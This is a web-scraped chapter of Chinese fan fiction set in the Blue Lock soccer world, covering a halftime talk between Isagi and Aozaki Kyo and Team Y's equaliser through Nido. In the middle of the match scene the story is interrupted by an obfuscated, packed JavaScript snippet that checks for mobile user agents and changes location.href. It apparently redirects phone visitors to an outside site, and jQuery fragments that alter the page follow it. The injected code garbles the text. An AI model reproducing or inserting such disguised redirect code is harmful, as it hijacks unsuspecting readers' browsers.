场间,Z队休息室一片太平。


    “呀呼!”成早拍上镜的肩膀,喜悦之情溢于言表。“喂喂,苍崎,我们领先了哦!”


    久远将水挨个递给队员,用挂在脖子上的毛巾擦干了脑门的汗。


    “只是一分领先,还要小心后半场Y队的反攻。”他说。


    “有什么嘛。反正对面的水平也就这点了吧,要能得分早就得分了。”


    面对久远的劝诫,成早摆出散漫的架势笑呵呵地抱住脑袋。


    洁观察着众人的反应。休息室内气氛轻松,就算有像久远这样的保守派,也无法掩盖其它人身上飘散的愉悦感。可以看出,领先的比分加上对手的虚弱攻势给所有人都注射了一支定心剂。此刻,队伍的氛围已经和开场截然不同了。


    这究竟是好事,还是坏事?单凭自己一人无法判断。洁世一走向角落,看着椅子上蒙着毛巾的苍崎镜。白发少年的脸上毫无汗水的踪迹,尽管如此他还是为了什么接过了久远递来的毛巾,把它当做面罩,遮住了自己的额头和眼睛。


    “镜。”


    “唔?”


    洁世一出声,镜朝他看来。蒙住脸颊的毛巾掉落。本来已到达喉口的关心之语,在镜那双眼睛的注视下却变成了别的声音。


    “——下半场,我的时间。”洁贴着镜坐在休息室的椅子上,“打算怎么做?”他问。


    “原来是这个问题啊。”


    镜了然,抓下掉在腿上的毛巾,随意地挂在脖子上。


    “没什么变化,按计划来就好。此外,就是要小心在你进攻时的二子——”


    “我说,真的没问题吗?镜。”洁低声打断道,他正视着镜的眼睛。


    果然,自己没办法忽略这件事啊。


    “你在想办法控制所有人。但是,对镜来说还是太勉强了吧。”


    见自己的念头被戳破,听到这话,镜不自在地动了动球鞋中的脚趾。


    “大家为了赢,会配合你的举动,但是这样下去,你的体力会在比赛结束前耗光。”见镜不说话,洁不放弃地问,“难道你要说这也在你的计划内吗?”


    “……无所谓。反倒是多余的自我只会给球场上的秩序带来负面影响。”镜依旧维持着那副风轻云淡的外表,平静地解释,“我只是在用我的方式来帮Z队获胜。”


    恰恰是这种事不关己的漠然让洁世一感到一阵慌乱。


    “太勉强了!这种状态,能不能有训练时的效果是一说,何况还有你身上的伤——”


    “唔。洁。”


    “……哈?”


    就像是被念叨得不耐烦了一样,镜突然起身低头俯视着坐在椅子上的洁,身前打下的阴影将洁整个人笼罩进去。然而,奇妙的是,他脸上的神情既无烦躁也无冷漠,揣的还是那副水面般的平静无波。


    镜说:


    “你刚才说「勉强」。”


    “但人不勉强自己,就不会变强吧?”


    他将毛巾叠好,放在一边。


    “如果是洁的话,应该能理解我。”


    镜这样说着,拿起水杯走向房间外,在同伴的簇拥中抓紧休息的尾巴打上饮料。


    只留下洁心中无以名状的感情如乌云般淤堵在血管里,随不安的呼吸传递出雨声。


    这叫什么歪理啊。强行把这种理念灌输给自己,镜是怎么回事,抖S属性暴露吗?


    但是,这是什么感觉。


    他抓紧胸口的球衣,11号的字样变得皱皱巴巴,黑色条纹波浪般在掌心荡漾开来。


    “洁?下半场要开始了哦?”


    洁抬起头,蜂乐在休息室门口等他。不知不觉间,其它人已陆续离开了休息室。


    那份感觉,让洁世一的意识闪回,回到不久前的夜里,分属于现实和回忆的两道声音重合在一起。


    「洁,我有预感,在和Y队的比赛里,我们会踢出『了不得』的一球。」


    “洁的时间在下半场吧?真期待呢!”


    一块拼图掉在漆黑的水面上,蓝色而发着光,静静躺在四散的涟漪中央。


    也就是说,不「勉强」就不会变强。


    Y队对战Z队,下半场比赛开始。


    球权属于Y队,即使比分落后,他们依旧没有放弃自己的防守反击。


    足球在Y队的半场反复滚动,让人看得眼花缭乱。Z队压上,局势又变得和上半场一样。


    “前锋くん,午安。”


    镜盯上了带球的Y队前锋。


    “嘁。”Y队前锋只好传球,不忘简单地唾骂:“阴魂不散。”


    球已不在他脚下,镜立刻失去兴趣,跟随传球的方向侧身,准备前往那边接应。


    “抱歉,你不可以去那里。”


    二子从侧翼杀出,拦住镜的脚步。


    镜用显微镜似的眼光观察着二子。明明他有的只是相比之下堪称娇小的个头,却偏靠着这些和头脑做着滴水不漏的防守。


    “这样好吗?球不在我这里。”


    “但是,你的队友想给你传球吧。”二子说,“那么,我来否决这种「可能」。”


    镜观察周围。以自己为中心,包括二子在内的对手从各个方向分别切断了自己和队友的「连线」。


    “我已经明白你的武器了。”二子说,“苍崎くん,有强劲的射门、高精度的传球、快速的跑位。但是那时体能充沛的你,体能下降后,就算是苍崎くん也没办法像之前那样把这些武器用出来。”


    镜眯起眼睛,趁这一瞬间向有球一侧的空隙突破,却被二子迅速粘了上来。


    “没用的。”


    二子的刘海被吹起,露出下面绿色的势在必得的眼睛。


    “现在的苍崎くん,我可以防下来。”


    “你说得对,我在做无用功。”


    眼看着时间流逝,镜忽然停下脚步。


    “甩开你是不可能的。”


    “嗯,苍崎くん终于承认这点了。”


    二子轻轻应下了这仿佛认输一般的话。


    眼看着球权在Y队脚下转换,镜想到了什么,发出「啊」的一声。


    “原来如此,二子。你想要的「条件」是这个。”


    以二子和苍崎为界限,整个球场,被分割成这里和别处两个世界。


    “是的。”二子回答,“我想知道,失去「大脑」和「心脏」,哪个更致命。”


    在失去苍崎镜前提下的Z队,仅仅是蓝色监狱内的普通水平。同样水准的Y队,对战这样的Z队不是没有胜算。


    镜揉揉脖子。


    “如果是别人,大概会说「我相信他们」什么的……但换我,我觉得你说的没错。”


    「下一个到我十一人」战术意味着下半场轮换的前锋不会像上半场那样强力,对他们而言,被砍断脖子,切断和「大脑」的连接是无比致命的难题。


    而且,正因为排名靠后的队员难以做到单打独斗,考虑到这一点,在训练时苍崎镜压根没想过怎么让他们自己发挥。


    看着认真防守自己的二子,镜第一次对眼前不起眼的矮个子中场改观。


    真的被你说中了啊,二子,那份「自我主义」成为了我的弱点。


    球场的地面裂开一道道缝隙,深入地底的鸿沟将二子和苍崎困住,隔绝在其它人接触不到的孤岛上。与此同时,孤岛之外,熔岩滚滚,是球场上在分针的跳动中越发焦灼的战况。


    “啊!可恶!”<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15066394|161561||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    /p>


    球权一直在对手那里,眼看着属于自己的进攻时间所剩无几,成早抱着拼了的心情强行抢下一球,不假思索地将球传给镜。


    “苍崎!拜托了!”说完,他举手示意自己的位置,快步朝前跑去。


    但是,这并非Z队扩大比分的机会。


    而是Y队(二子)等待已经的「转机」。


    在镜的感知里,二子,不,准确来说是以二子为中心的整个Y队——动了。


    危机感涌上大脑,镜睁大眼睛,死死盯着传来的球。


    高度、旋转、弧线、时间,防守自己的人是二子,所以要在这个时候起跳——


    镜微微屈膝,小腿肌肉收缩发力。


    然而就在这一瞬间,他的背后传来一阵强大的冲力。


    大川呲着牙,顶着满头汗水笑着。


    “别以为只有你会满场跑啊,瞧不起人的白毛混蛋。”


    起跳动作被大川的冲撞破坏,镜倒向地面,最后一秒强行撑地支起身体。


    但是为时已晚,足球,已经来到了二子脚下。


    “……”


    事到如今,二子什么也没说。若是放到古时候的战场,他大概会是个让士兵感到不称职的将军吧。


    就像此前一样,得到球权的二子让Y队焕然一新。


    吸入大量的氧气,途径「心脏」,流经全身。


    感受着小腿传来的阻力,镜意识到,自己已经没办法像上半场那样全力奔跑了。


    无人盯防的二子、拼上全力的大川,Y队靠这两人在下半场第24分钟扳平了比分。


    哨声吹响,1:1的比分和所剩无几的时间意味着:不管是谁,再进一球就会赢。


    “非常对不起!”


    成早对其它人深深鞠躬,忍着不让悔恨的泪水流出来。意识到是自己过度依赖中场的错误决策导致了这次丢球,而他的时间也在这一次的进攻中彻底结束。


    球场上,气氛略显僵硬。休息时的轻松感一扫而光。


    “不完全是你的错,那种情况下会想要队友的配合也无可厚非。”久远安慰道,随后看向镜,“苍崎,你没事吧?刚才你摔倒了,难道是小腿出了问题吗?”


    “我没有事。”镜摇摇头,“顺便一提,我的看法是:继续这么踢。”


    所谓的「这么」,就是继续用以中场为核心组织进攻的踢法决胜负。


    “不行,太勉强了!”久远反对道,不管是身体还是胜负都是如此,“虽然很不甘心,但是事到如今,还是先想办法守住平局……”


    “但是——打进一球后告诉我「靠我们的武器也能得分取胜」的人是你们吧?”


    镜不客气地说。


    “也包括你吧,久远?”


    被那语气里罕有的冷意震住,久远愣在原地,想起了上半场自己的自信。


    看了一会,镜点点头说:


    “我直说了,我讨厌自我怀疑的人和遭受一点挫折就轻言放弃的人。既然做出承诺,就请各位坚持到最后。”


    “为了胜利,也不止为了胜利,我也会拿出本事,和诸位一起坚持到最后。”


    说完,镜看向洁,勾起嘴角。


    “到你的10分钟了,「搭档」。或者说,你也要以「勉强」为理由用防守代替进攻?”


    洁世一看到,镜正向自己传递着代表信任的信号。


    这个问题你来决定。不管答案是什么我都接受。


    不过,你不想「变强」吗?


    ——从不讲什么感情、Z队最冷酷的司令官,正用他的微笑对他这样说着。


    沉默片刻,洁世一,回以飒爽的微笑。


    “我们进攻吧,「搭档」。”